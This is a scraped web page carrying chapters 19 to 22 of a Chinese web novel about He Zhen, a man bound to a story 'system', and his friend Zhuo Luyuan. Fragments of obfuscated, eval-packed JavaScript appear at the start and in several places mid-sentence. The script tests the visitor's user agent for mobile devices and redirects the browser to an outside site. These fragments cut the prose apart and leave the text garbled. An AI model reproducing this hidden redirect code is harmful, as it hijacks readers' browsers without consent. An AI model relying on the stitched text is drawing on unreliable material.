l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664998|172965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贺真刚才救人,身上难免有些剐蹭,也沾了些灰尘。这会两个人都没事,贺真准备去稍微整理一下自己,和卓鹭元打了个招呼之后一个人先离开了。 祁琼音觉得自己最近倒霉极了。 她家里穷,既要上学还要照顾在医院的母亲,几乎所有空闲时间都用来兼职打工才凑合活得下去。 四时居的兼职不仅时薪高,还和其他兼职时间不冲突,几乎已经是她能找到最好的兼职了。可就是因为上次她不小心没有端稳一个汤煲,导致客人被烫到,经理怎么说也不肯继续用她了。 骤然失去一份经济来源,祁琼音几乎是想也没想就冲上门和经理理论,可经理不仅不听她说话,连之前看她可怜没让她赔的那笔钱也反悔了。 所以现在祁琼音不仅要打工供养她和母亲两个人,还要多还这一笔赔偿的钱。 祁琼音郁闷地扫着地,第一次后悔自己的冲动。好在之前在四时居认识的朋友又给她介绍了一份工作,虽然有些远,但薪水很不错。 祁琼音揉着酸疼的腰,看着那边还没打扫的洗手间,估计这会儿那些富家少爷正玩得开心,没人会过来这边,所以拿出“清理中”的牌子摆在门口,提着水桶和拖把进去了。 可是祁琼音刚走进去,就听到里面有衣服布料摩擦的声音,抬头一看,发现竟是一个男人在脱自己的上衣,情急之下提桶泼了过去:“啊————有流氓!!!” 莫名其妙被泼了一桶水的贺真:??? 十分钟前,贺真想过来看看自己塑料袋手臂有没有破皮,刚才捞人的时候不可避免地和发疯的马擦肩而过,当时贺真感觉到了疼痛,但有衣服挡着,他也不确定是不是破皮了。 谁知道女主突然出现,尖叫着提着一桶水就泼了过来,给他泼了个透心凉。 饶是贺真平时脾气不错,这会也有点生气了,他又不是面团捏的。 贺真抹了一把脸上的水,有些庆幸这不是拖把水,看着依旧举着拖把的祁琼音差点气笑,冷着声音说:“我是流氓?你出去抬头看看门旁边写的什么字,眼睛不好就去治。” 贺真脱了骑装外套,内衬被水泼了之后紧紧贴着皮肤,把贺真的八块腹肌勾勒地清清楚楚,卓鹭元过来时看到的就是这一幕。 卓鹭元看贺真很久没回来,怕他第一次来迷路,正准备要不要去看看情况时就听到一声流氓,马上朝声声音大源头追了过来,结果就看到祁琼音正拿着拖把对着贺真。 卓鹭元还疑惑地退出去看了一眼,男厕所,没错啊? 等等,流氓? 卓鹭元看着贺真湿透的上衣和比自己事业线都清晰的腹肌,眼神瞬间变得锐利起来,一把将祁琼音扒拉开挡在贺真身前:“我说你怎么之前一直纠缠着贺真,敢情是看上他了,还跑来男厕所耍流氓!” 祁琼音呆了,这个人居然说她耍流氓?祁琼音下意识看向贺真,贺真正想说些什么时,系统该死地上线了:【贺真真像一朵随时会凋落的风中残花,对于卓鹭元对祁琼音的质问,充满委屈地“嗯”了一声。】 贺真深吸一口气,对不住了。 贺真躲在卓鹭元身后,狼狈地拢了拢自己的衣服,像一只淋了雨的大狗,声音中全是委屈:“嗯。” 19. 第 19 章 祁琼音之前打工被人骚扰过,看到贺真完全是一时心急的下意识动作,这会反应过来,连忙放下拖把低头错开目光,支支吾吾地解释:“我、我在这里打工,我以为里面没人才进来的,我还在门口摆了牌子!” 卓鹭元刚才冲进来时确实被一个东西绊了一下,这会才发现被他踢到一边去的是一个黄色的警示牌,看来祁琼音没说谎。 祁琼音小脸煞白,她才没了一个兼职,这个工作要是再丢就糟了,也顾不上之前几人的恩怨,着急地和两人解释:“刚才的事是我不好,我不应该这么鲁莽。但我真的不是流氓,之前欠你的钱我真的在努力还了,拜托你们别告诉经理!” 祁琼音快急哭了,卓鹭元不擅长应付这种事,下意识看向贺真,想知道他会怎么处理。 贺真没说话,心里也在思索。他是觉得祁琼音的一根筋有些烦人,认定的事情九头牛来拉都得掂量掂量。但平心而论,她倒也不是什么坏人,起码之前她说好要给贺真的赔偿确实有在陆陆续续地打到他的卡上,还挺讲信用的。 呃,虽然金额小了点,从几十到几百都有,他还以为自己买的什么小东西不小心退款了。 所以贺真也没为难他,只让她赔了医药费和清理费,不然女主这工不成给他打了。 贺真看祁琼音也不是故意的,在心里叹了口气说:“之前和今天发生的事情,你认真给我道个歉,就算翻篇了。” 诶?这么简单吗? 祁琼音不可置信地眨了眨眼,不可置信地反问:“你说的是真的吗?” 贺真还不至于骗她,祁琼音得到贺真肯定的回答之后激动地和贺真道歉:“上次和这次是我不好,是我没端稳汤煲才害你烫伤。但我说的话不是那个意思,就算我没钱,我做错事情也不会不认的。刚才是我没搞清楚状况,对不起。” 贺真都原谅他了,卓鹭元只好侧身让她离开。 祁琼音离开之后,贺真把贴在身上湿透的衣服直接脱了下来,湿嗒嗒地黏在他身上,搞得他难受死了。贺真刚把上衣脱掉,就看到卓鹭元捂着自己眼睛,指缝间露出两只眼睛看着自己的腹肌。 贺真:“…你为什么要捂眼睛。”他们两个不都是男的吗? 卓鹭元:“…对哦。” 卓鹭元放开手,装作不经意地瞥了一眼贺真的腹肌,这家伙还真有料。卓鹭元捏了捏自己的肚子,识相地把衣服往下拉了拉,没有对比就没有伤害。 杨一群也是心大,出了这件事还有心情继续玩下去,贺真觉得他能成为榜一大哥不光是靠点钞能力,某种程度上心态也很稳定。而他嘴里念叨的那个报复,过了几天之后贺真终于知道是什么了。 贺真虽然没打算放过贺彦,但贺家爷爷到底是知道了贺彦的事,找上门来让贺父放过他。贺父拒绝了,却留了一些时间让贺真整理收集贺彦这些年在公司的所作所为。 说得好听,其实就是让贺继明父子俩给自己藏藏尾巴,贺真没揭穿,算给贺父一个面子,但这种事不可能在他这里发生第二次。贺真手头上的证据不少,他准备启动程序也就是最近的事。 贺真本以为贺彦被贺继明关在家里,怎么说都应该安分一点,结果人被关起来了还有心思报复,可怕得很。 和贺真想象的悠闲不同,贺彦这会等消息等得心焦,手机好不容易响了,手底下人却说自己报复错了人,还差点害杨家大少坠马! 好在手下人溜得快,没被他们抓到把柄,但这依旧让贺彦很心烦。父亲要舍弃自己已经是板上钉钉的事情,等他一进去,谁还会替他报仇?他只有自己。 不过这会他也没余力再做什么,拿起桌上的车钥匙准备出门兜风。管家作势想拦,贺继明出门前特地嘱咐让他们看着贺彦,不许他出去生事。 贺彦却根本不打算听劝,撞开管家就去开车。这车是他之前买的,还没开过几次贺真就回国了,他也就没什么心情开了。只是现在不开,以后更没机会了。 贺彦坐上驾驶座,习惯性地向外开,还没开到自家大门口,车子忽然一阵左右摇晃,歪歪斜斜地不动了。 怎么回事,这车他没开过几次啊? 贺彦下车,冲着别墅大喊:“司机呢,出来看看我的车怎么回事!” 司机从别墅匆匆过来,仔细看过以后对贺彦说:“这车胎被人动了手脚,应该是开不了了。” 贺彦不信邪,重新坐回驾驶座踩下油门,车子歪歪扭扭地往前左右颠簸蹭了几米又罢工了,贺彦气得捶了一下方向盘:“你不是说坏了,怎么这还能开得出去。” 司机心里吐槽,当然是动手脚的人缺德了:“少爷,那人只弄坏了两个轮胎,所以您还是能发动,但……” 也不知道谁这么缺德,要是把四个轮子都弄坏也就罢了,偏偏那人只弄坏了左前的轮胎和右后的轮胎。结果就是贺彦的车像一台摇摇晃晃的老爷车一样,看起来能开,但没必要。 淮市F9的小群里。 卓鹭元:这就是你说的报复? 杨一群:那当然啦!他那车我知道,国外运回来的限量版,他要是想修得找人送到国外去,这边可没有原装轮胎,小爷。我就让他看得见开不着! 李尚乐:靠,草泥马你真够阴的,到底谁把你拉进群的,我们群不收黄毛。 杨一群:不会说话就把小嘴闭紧,我早就把头发染回来了,而且头发也剃了。 贺真和贺父聊着贺彦的事,上次和卓鹭元撞衫之后他就不敢把群屏蔽了,只是这会不知道他们在聊什么,手机一直嗡嗡震动响个不停,连贺父也停下来看他:“有要紧事就先回消息,不急这一会儿。” 贺真打开手机,发现是杨一群进群了,群名也被实时更改,只是杨一群居然真的剃头了? 贺真有些好奇,点开小群回复:你都决定要剃头了,为什么还要染回来? 杨一群:……靠,你说得好像很有道理。 李尚乐:贺哥你看他是榜一大哥就知道他不聪明啦,不要为难他了。 杨一群:你个死秃驴榜二有什么资格说我?! 后面就是两人毫无意义的垃圾话斗嘴, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664999|172965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贺真摇了摇头按了锁屏,把手机丢到沙发上让他响去:“爸,你考虑地怎么样了?” 贺父脸色不太好,没想到这个堂弟会来这么一出:“之前明明已经说好,这件事我们两家之间来处理,让你来负责。我也不知道他为什么会出尔反尔,竟然真的找到了老爷子那里,给我好一通骂。” 贺父都五十岁的人了,面子上也挂不住,干脆放话这件事交给了贺真处理,当着老爷子的面甩袖走了。 贺真猜测是因为上次他当着贺继明的面问那笔钱的去向,让贺继明生出了危机感,觉得自己不是那么好对付,贺老爷子就是他找来的后手,贺父也真的退让了。 “还是那句话,这次可以放他一马,但这种事我不会允许发生第二次,养虎为患的道理爸你应该比我懂。我们要把他的儿子送进去,两家已经是仇人了。” 贺父心里明白,但让他亲口承认却还是有些说不出口。看着贺真稳如泰山的样子,贺父觉得自己大概真的有点老了。 “不说这个,你和卓鹭元玩得怎么样?老大不小了,也不知道找个女朋友。到时候让你妈帮忙问问,看看圈子里有没有合适的女孩子。”贺父鼓励地拍了拍贺真的肩,觉得自己儿子这样子,找个女朋友应该没有问题吧? 谁知道贺真表情古怪地嗯了一声,说自己有事转身回房。他的主线任务还没做完呢,万一说错话被扣积分怎么办? 另一边,郑曦苦恼地拉着自己闺蜜唐菱的手,倚在她的肩膀上吐苦水:“怎么办,贺真一回来,鹭元哥哥都不理我了。都怪那个死绿茶,让我出丑就算了,还老是缠着鹭元哥哥!” 唐菱无奈地揉了揉郑曦的脑袋:“曦曦,你还没放弃呢?”这都多少年了,没见卓鹭元谁都不喜欢嘛。 郑曦赌气一样地说:“这不一样。我是喜欢鹭元哥哥没错,但我讨厌那个死绿茶!明明长得高高大大的,偏要在鹭元哥哥面前装委屈,鹭元哥哥居然还相信他!” 贺真的事唐菱也知道一点,她虽然没见过,但也很好奇郑曦口中一米九二的“死绿茶”长什么样。但说到底还是闺蜜要紧,唐菱一边哄她,一边想着办法:“你说卓鹭元他很吃绿茶那一套?” 郑曦疯狂点头:“嗯嗯!菱菱,你最聪明了,帮帮我好不好?” 唐菱心中想到一个办法,但她也没追过人,心里有些没底:“既然卓鹭元很吃绿茶这一套,那为什么贺真能用这个办法,你不能用?” 既然打不过,那干脆加入? 郑曦本来想说自己才不稀的和贺真用同一个办法吸引鹭元哥哥的注意力,但转念一想又觉得凭什么! 郑曦轻轻握拳:“好!我从今天就开始学习怎么当一个绿茶,菱菱,你一定要帮我。” 唐菱:“…好。”唉,要是曦曦能把这个劲用在其他方面就好了,比如事业? 卓鹭元打了把游戏准备睡觉,却忽然连续打了两个喷嚏,还在疑惑自己是不是感冒了。 “空调的温度也不低啊,难道有人在想我?算了,今天的乐子看够了,睡觉睡觉!” 20. 第 20 章 “你说你,一天也没个正形,让你去公司也不去。”卓父看着瘫在沙发上戳手机的卓鹭元,实在是看不下去朝他背上拍了一把。 “嘶,爸你干嘛打我,不是你说不想带我应酬的吗,怕我喝醉以后下不来台。”卓鹭元翻了个身,被卓父打断有点不爽。 卓父瞥他一眼,幽幽地说:“不让你出去应酬,公司业务也不打算管了?你是想让你爹以后七老八十了也给你在公司打工?” 卓鹭元有些心虚地放下手机,坐直身子说:“我怎么可能是那样的人?去,我肯定去公司。爸,你这么说是不是公司最近有事儿?” “公司哪天没事?”卓父噎了卓鹭元一句,转而说起正事:“最近公司在接触一个新项目,爸想让你跟着练练手。” 新项目?卓鹭元还真不知道这回事:“哪个方面的新项目,咱们不是在做地产吗?” 卓父叹了口气:“你以为现在实体是那么好做的?这个项目是新能源方面的,乔家牵头介绍的,圈子里不少人都有些意动,我也还在观望。” “乔家?做电器发家那个?”卓鹭元皱眉,言语中对乔家很是不喜:“爸,你可以想好了。乔家那个乔昱褀不是什么好东西,他爸肯定也好不到哪去,你可别被人给坑了。” “话也不能这么说,”卓父知道自己儿子和乔昱褀有龃龉,但在商言商,卓父还是不免有些心动:“那小子惹你,你就揍回去。虽然他人差了点,但是乔家在做生意方面确实眼光独到,这些年偷着项目几乎没一个赔钱的,你爸也是看中了这一点。” 卓鹭元小声嘀咕了一句谁知道他的钱都是怎么赚来的,被卓父瞪了一眼之后也不害怕,反而顺着卓父的话答应下来:“去公司的事我答应了,但你也要答应我,要是这个项目有风险,哪怕赔点钱咱们也不和乔家做生意。” 卓父无可无不可:“行,只要你答应去公司你说什么爸爸都同意。” 卓鹭元没说话,心烦气躁地抓起手机跑回自己房间。 卓父以为自己和乔昱褀不对付是因为那人总招惹他还倒打一耙让他背黑锅,但只有卓鹭元自己知道,乔昱褀背地里骚扰过他,还对他说很恶心的话。 卓鹭元看在乔家的面子上忍过一次,但乔昱褀变本加厉,他没忍住就拉着盛俊文一起揍了他一顿,两人的梁子算是结下了。 算了,不就是去公司吗,他有什么可怕的。 “茶茶,主线剧情到哪里了?”贺真把系统抓过来,提到自己面前问话。这几天他一直在忙自己的事,终于抽出来点时间质问狗系统。 上次他和卓鹭元去马场是临时起意,谁知道刚好碰到女主触发了主线剧情,剧情的走向也有点歪歪扭扭,他得搞清楚其中原因。 系统在空中无力地扭动两下,这副身体实在不太好用,可是换外形还要花它私房钱,它舍不得,只好继续用下去:“本来女主祁琼音是应该在四时居继续打工的,可能是因为宿主自由活动时产生的连锁反应,大概算一种剧情修正?” 反正在马场打工也一样嘛,剧情也算好好地触发了,它的返点积分也到手了。 可贺真就是觉得哪里不对劲,女主祁琼音以后不在四时居打工,那万一以后有四时居的剧情该怎么办? 系统倒是比贺真想得开,还能反过来安慰他:“应该不要紧吧?这次就没出什么事。宿主只要按照主线完成剧情就好啦,反正积分都有好好地到账哦!” 底线总是一点点被压低的,它的宿主都从女变男了,系统觉得自己没有什么是不能接受的了,它已经是一个接受能力超强的系统了! 贺真忽略它刻意卖萌的嘴脸,从系统里打开支线任务挨个筛选,准备挑一些做一下,他不嫌自己积分多。 “嗯?” 贺真手指重新往上翻了一些,确定自己之前看的时候还没有这个支线任务,当即点开看了看,发现这是个给主角送饭的支线任务。 “绿茶女配没点自己的事情做吗,为什么不是买衣服就是去给别人送饭?”贺真想起上次自己做饼干的样子,对这个任务有些头疼,他不太擅长烹饪。 多好的任务啊,只要跑一趟动动嘴就行! 系统马上凑到贺真旁边,小声劝说:“宿主,茶茶刚才帮你看过了,支线任务只是要求宿主去给卓鹭元送一顿爱心午餐,没有强制要求是宿主亲手做的饭。” 贺真挑眉,这还可以,他找个味道不错的餐厅点些菜,趁热打包送过去就行了,确实不算麻烦。 经过上次和卓鹭元在四时居吃饭,贺真对他的口味也有些了解,知道他口味偏清淡,和自己一样是肉食动物,但味觉很灵敏。 上次上的一道四时春,贺真看他吃了几口就微微蹙眉,还是卓鹭元说其中一道菜火候过了有些发苦,他才勉强吃出来。 但也不能总点四时居的菜,贺真自己也想试试新的。茶茶这个狗系统不靠谱,连宿主都能绑错,贺真决定在群里找个外援。 上次盛俊文看到自己和卓鹭元撞衫时的表情,贺真到现在还记得,尤其是他那好像自己的大白菜被猪拱了的复杂眼神,贺真第一个在心里把他划掉,这个人不能问。 群里其他人多多少少知道小时候卓鹭元和贺真真的事,他怕问着问着就传到卓鹭元耳朵里去了,想来想去,也只有刚认识且和他不熟的一群羊……杨一群合适了。 贺真点开杨一群的聊天框,打字问他:最近忙吗,有个事想请教你,淮市有哪些味道不错的店,清淡一点的。 杨一群回得很快,目测应该没什么事:你应该问卓鹭元啊,他不是最喜欢到处找地方吃饭,叫他喝酒他都不怎么来。 就是不能问卓鹭元,贺真才问杨一群的。不过杨一群可能也只是顺嘴一说,很快发了几个定位过来:这几家都不错,你有空可以试试。不过听说卓鹭元最近被他爸逼着去公司坐班了,应该没时间出来玩,贺哥有空和我们出来喝酒啊。 原来卓鹭元去公司了,怪不得支线任务让他送饭。 贺真谢过杨一群,想起贺彦的事提了一句:贺彦没再找你事吧? 贺真虽然收回了星芒,但贺继明这种聪明人不可能把鸡蛋都放在同一个篮子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15665000|172965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,背地里保不齐还有其他的产业,不然也不会这么干脆地放弃贺彦弃车保帅,贺真怕杨一群惹上事。 杨一群本人浑不在意:我只是动了他的车,小小报复一下。贺哥你知道的,我是纨绔嘛,什么商战的我不擅长,最多想想办法把他风水鱼捞了或者发财树浇死,你放心吧! 贺真:…那就好,谢了,改天一起喝酒。 杨一群:小事! 贺真挨个点开杨一群发给他的定位,从里面选了一家叫和府宴的,看起来还不错。贺真打电话提前预订了几道菜,约好明天去取。临挂电话前,贺真又加了一些饭后甜点。 第二天中午,贺真给钱特助交代了几句公司的事,让他把星芒那边也看着点,别让贺家那两父子扫尾扫到大动脉了。钱特助表示自己明白,贺真就转身离开公司,去和府宴取自己订好的菜。 和府宴的生意不错,从外表却看不出来。侍者引着贺真进来,贴心地将打包好的菜品取过来询问贺真:“先生您是自己一个人来的吗?” “嗯。”贺真接过菜品,道谢后付了钱,自己提着菜品走了。给别人送爱心午餐这件事,还是越少人知道越好。 贺家的公司距离卓家公司不远,贺真又是提前出发,刚好赶在车流拥堵前到他家公司楼下,结果却被门口的前台绊住了。 前台脸上挂着打工人的标准微笑,公式地回答:“先生您好,请问您有预约吗?没有预约的话我们这边没办法让您上去。” 贺真当然没预约,也没告诉卓鹭元,怕自己刚说出口就被拒绝,那积分就没有了。 眼下贺真只好想办法让前台放他上去:“我和卓鹭元是朋友,今天也是临时起意过来的,确实没有预约。” 前台眼皮一跳,这人居然知道小卓总今天来公司了,该不会真是小卓总的朋友吧?前台心里有点犹豫要不要放贺真上去,又怕放错了人自己挨骂,一时半会有些做不了决定。 贺真怕自己食盒里的菜凉了,还想说些什么,身后却响起另外一道张扬的声音:“我要见你们小卓总,让人带我上去。” 又来一个? 前台心里暗骂自己今天倒霉,脸上却还是带出一个笑容:“这位女士您好,请问您有预约吗?没有预约的话这边是没办法让人带您上去的。” 刚才贺真就觉得那个声音有点熟悉,低头一看,果然是熟人。 “怎么是你?” “你怎么会在这?!” 郑曦刚才踏进大厅就看到了贺真,他那个身高想让人忽视都难,郑曦还以为是什么推销的人,结果没想到真是他! 前台看着这两人也像认识的样子,忙不迭给卓鹭元打了个电话:“小卓总,楼下有一位姓贺的先生和一位姓郑的女士想见您,您看要不要带他们上去?” 卓鹭元正无聊地翻着资料,闻言随口问了一句:“让他们上来吧。他们有没有说找我做什么?” 电话对面的前台似乎犹豫了一下才开口,弱弱地说:“他们都说给您送饭。” 卓鹭元:…… “啊?” 21. 第 21 章 卓鹭元挂了电话还是有些想不明白,这俩人不是不对付来着,没事好端端地给他送什么饭? 虽然卓鹭元听到这个理由下意识想把两个人都拒绝了,但这样做到底不好,毕竟这两人送饭的行为怎么说都是一片好意,他就算不想接受也不能做得太难看。 郑曦一如既往地看不惯贺真,走路也习惯性地抢先他一步。只不过贺真迈一步顶郑曦走两步,郑曦的压他一头的行为也没什么效果就是了。 前台将贺真和郑曦两个人送进电梯里,郑曦见没外人也就不和贺真继续装了,视线看向贺真手上的食盒,下意识哼笑一声:“和府宴?你也就这点品味了。”不愧是死绿茶,竟然和她想出同一个招! 贺真不觉得和府宴哪里不好,但被郑曦这样一说他和忍不住看向郑曦手里那个粉嫩粉嫩,不知道是什么系列周边的食盒,忍不住说:“那你的意思是你很有品味了?” “当然!”郑曦炫耀似的提起自己手上的食盒,对着贺真翻了个白眼:“这可是我亲手做的,你这外面买来的怎么能比。让开,我要去找鹭元哥哥!” 贺真也没跟郑曦较劲,任由她率先一步提着食盒进了卓鹭元的办公室,自己则落后一步,顺手把办公室的门带上了。 卓鹭元看到两人先是皱眉,然后招呼两人坐下:“先坐吧。你们两个怎么回事,怎么突然想起来给我送饭?” 郑曦抢先开口:“鹭元哥哥,我听叔叔说你最近在接触公司的事情,怕你太忙中午吃不好饭,所以特地亲手做了饭菜给你送过来,你尝尝?” 卓鹭元看着郑曦手里粉色的食盒,咳了一声问贺真:“那个,你也是这样想的?” 贺真点头,把自己提来的食盒也放在桌子上,解释了几句:“公司食堂的饭菜都是大锅炒的,怕你吃不习惯。” 办公室的桌子上,贺真带来的棕红色的木质食盒立在郑曦的粉色食盒旁边,好像在问卓鹭元:你选哪一个? 郑曦看着贺真拿来的食盒,想起唐菱友情提供的绿茶教学,捏起嗓子意有所指地说:“我觉得送饭这件事呀,还是心意比较重要,不像有些人,随便在外面买两道菜就说关心别人,实际上用了多少心只有他自己知道。你说是吧,贺真?” 贺真的想法却飘走了,无端想到上次他去卓家拜访时做的那盒曲奇饼干,最后好像几乎都进了卓母嘴里,好在味道不算奇怪。 卓鹭元不想拂了两人的好意,但也没接郑曦明显在给贺真挖坑的话。 顶着郑曦期待的眼神,卓鹭元还是秉持了女士优先的原则打开了粉色的食盒,先把里面的豆腐羹端了出来,打开盖子散了散热气,舀了一勺送入口中,下一秒就开始咳嗽:“咳、咳咳!” 郑曦急忙拿出纸巾递给卓鹭元,卓鹭元擦掉自己嘴角的汤汁后不可置信地看着那碗豆腐羹问郑曦:“你往里面放了什么东西?怎么又甜又咸的?” 郑曦把豆腐羹端过来自己尝了一口,自己也被奇怪的味道打击到了:“怎么会这样?我知道了,一定是我准备甜点的材料时不小心放错了。” 郑曦的食盒底下还放着一块自己做的小蛋糕,估计是调味料都摆在一起时郑曦不小心放错了一勺糖进去,结果被卓鹭元一下子就吃出来了。 贺真看了一眼郑曦带来的饭菜,默默在旁边说了一句:“我觉得比起心意,或许合他的口味更重要。” 茶茶蹲在贺真脚步有些迷茫地摆了摆尾巴,奇怪,任务没规定要茶郑曦啊? “还是留给你自己吃吧,我吃不惯这个口味。”卓鹭元把粉色食盒推了回去,郑曦只好伸手接过,瞪了贺真一眼气鼓鼓地走了,准备回去再和唐菱取取经。 贺真见郑曦走了,自己上前坐在卓鹭元对面,帮他把食盒打开,边取菜边和他说话:“我订了和府宴的菜,菜色都偏清淡一些,你尝尝。” 和府宴的味道还是不错的,卓鹭元接过筷子吃了一口,确实如贺真所说很清淡。卓鹭元看着贺真拿出来的菜量不像是一人份的,边吃边问他:“你这个点过来是不是没吃饭,一起吃点?” 贺真看了一眼自己点的菜,是一人份啊。 但他算着时间来给卓鹭元送饭,也确实和卓鹭元猜测的一样没吃饭。 贺真没推辞,拿起筷子随意吃了几口,和卓鹭元边吃边聊:“听说卓伯父让你来公司历练,你是不是也准备慢慢接手了?” 提起这个卓鹭元就不免有些不爽,用筷子戳着碗里的米饭说:“是啊,这不过来坐着,慢慢熟悉公司业务。”卓鹭元看着对面坐着的贺真,忽然想起来贺真应该比他早接触公司事物,项目的事不如问问他? “你既然来了,我问你个事儿呗?”卓鹭元夹了一筷子虾仁,语气认真:“最近好像有个项目热度很高,听说是个关于新能源的,你怎么看那个项目?” 贺真没有第一时间回答,卓鹭元话里的意思似乎不太看好这个项目,不然直接投资合作就行,干吗问自己的意见。 贺真没正面回答卓鹭元的问题,反问卓鹭元:“你似乎对这个项目很有看法,能说说为什么吗?” 闻言卓鹭元像一只泄了气的皮球:“也不算。我也不是看不上那个项目,我只是觉得乔家那些人不太行,尤其是那个乔昱褀,心眼一堆人还好色,估计他爸也好不到哪里去。但是我爸就说什么在商言商,我也不好拿这个去劝他,显得我多记仇似的。” 乔家他了解过,甚至卓家举办的晚宴乔家也出席了,贺真自然知道他说的乔昱褀是谁。乔昱褀是典型奶油小生的长相,但是一双眼睛眼尾却是向下的,不笑的时候看着有点不像好人。 在贺真看来卓鹭元的担心不无道理,于是也在认真地给他支招:“现在你不清楚乔家的情况,我不建议你贸然劝伯父。既然他们想合作,不如先接着合作的名头接触一下对方的公司,如果能侧面打听到情况更好。” 贺真说完一顿,想到了后期卓家公司遇到的危机,有心想提两句,系统却亮起了红色“禁止剧透”的警告,贺真只好把话咽回去,又嘱咐了两句:“即便决定合作,你心里也要有一条能接受多少亏损的底线,不要贸然押太多资金。” 贺真看不到后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15665001|172965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面的剧情,故事梗概里也没写卓家被逼到破产边缘到底是不是乔家动的手,只能用曲线救国的办法。他说了这么多,应该能算提醒了吧? 卓鹭元把贺真说的话都记在心里,果然对方比自己更擅长公司的事,提的建议也能帮到他,卓鹭元的心情又好起来了:“我明白了,今天谢谢你了,又是送饭又是给我提建议的,搞得我都不好意思了。”尤其是一开始他想把贺真和郑曦都拒绝的。 “都是朋友了,怎么总是说谢谢。”贺真从食盒底层取出一盘甜点,向卓鹭元推了过去:“听说他们家点心也不错,尝尝?” 今天和府宴的点心是抹茶冰淇淋慕斯,吃起来很爽口却不甜腻。卓鹭元想了想,对贺真说:“你说得对,既然已经是朋友了,那我就不跟你生分了,以后我叫你…阿真?” 贺真看他想得认真,坏心眼地逗他:“你想叫真真也行。” “打住,我已经决定以后就叫你阿真了。”卓鹭元听到“真真”两个字,浑身鸡皮疙瘩都要起来了,马上止住贺真的话头:“快吃饭,多吃点。” 贺真轻笑一声,专心吃饭不再说话。 “卓鹭元去他家公司了?” 乔昱褀指尖夹着一根烟,双眼微眯吐出一口烟雾:“他爸倒是疼他,现在才舍得把他扔进公司里。不说这个了,你们的项目推进的怎么样,几家有合作意向?” 助理低着头回答:“大概四五家,其他人都还在观望,但派了人来接触。” 乔家提出的这个项目是关于新能源的,而像他接触的卓父等人基本都是做实体起家的,犹豫一些也正常,乔昱褀本来也没指望一两次就能和他们谈成合作,那都是靠时间和酒局磨出来的。 “贺家什么反应?”乔昱褀听说了贺家回国的事,这一位可是早年就敢举家往海外开拓市场的人,乔昱褀不怕他不心动。 “您是指国内贺家还是……?”助理拿不准主意,乔昱褀却明显有些不耐烦:“啧,本家那个。” 国内贺家是什么东西,也配和乔家谈生意。 “目前他们没有派人接触过。”助理后退两步,心情更加忐忑。 “没眼光,怪不得贺真整天跟在卓鹭元后面,和郑曦那个死丫头抢人。”乔昱褀要是看上谁才不会这么费劲,想点办法使些手段就是了。 不过贺彦这家伙也是个蠢货,都知道贺真回国了还不知收敛,非要等刀子落下来才知道疼。 乔昱褀心里把这些有可能的合作方都思索了一遍,不得不承认其中还是卓家和贺家最让人心动,只能徐徐图之了。 “乔总,外面有一位贺先生想见您。”门口的侍者轻轻敲门,乔昱褀眼睛一亮,坐直身子问他:“是贺业明还是贺真?” 侍者摇头:“那位先生说自己叫贺继明。” 不等乔昱褀失望拒绝他,贺继明率先推门而入,开门见山道:“我知道乔总看不上我手上这点小打小闹。但如果我说,除了外界知道的那些产业,我手上还有其他能帮得上乔总的资源呢?” “比如一家成熟的新能源公司?” 22. 第 22 章 贺继明回到家,疲惫地看着这个他住了许多年的“家”。当初贺业明要带着他们一家人去国外打拼,他说什么都不同意,因为他看得明白,贺家人里要说谁最有出息,那就只可能是他那个堂哥。 贺业明在国内的时候,贺继明还能通过哄老太爷过得不错。但如果贺业明走了,他们一家人就会瞬间被打回原形,还要照顾老太爷和自己父亲,所以贺继明怎么也不同意。 贺业明最后到底是留下了一部分财产,而他也靠着管理的名义当上了贺总,一当就是这么多年,他们现在住的这套房子也是当时贺业明留下的财产之一。 可贺继明心里始终不放心,万一有一天贺业明回来了呢?为了以防万一,贺继明背地里没少发展自己的事业,这份交给乔昱褀的“投名状”也是这样来的,但愿对方不要让他失望。 贺真出手太狠又不讲情面,贺彦已经保不住了,他不能再失去这么多年苦心经营的权力和地位。 既然他们不讲情面,也别怪他在背后出手了。 卓鹭元一连在公司蹲了几天,新能源项目的资料被他来回翻看,但从表面资料很难看出什么,卓鹭元只好暂时作罢,琢磨着抽个时间以合作的名义去对方公司看看,知己知彼才能百战百胜嘛。 中午公司午休,员工们三三两两结伴去食堂吃饭,他们家公司的食堂还是不错的。 卓鹭元懒洋洋地靠在老板椅上看了眼手表,刚才他想项目的事想得入神,没注意时间,这会儿出去肯定堵车。他嘴挑,吃过一次食堂的饭,只能说不合他的胃口。 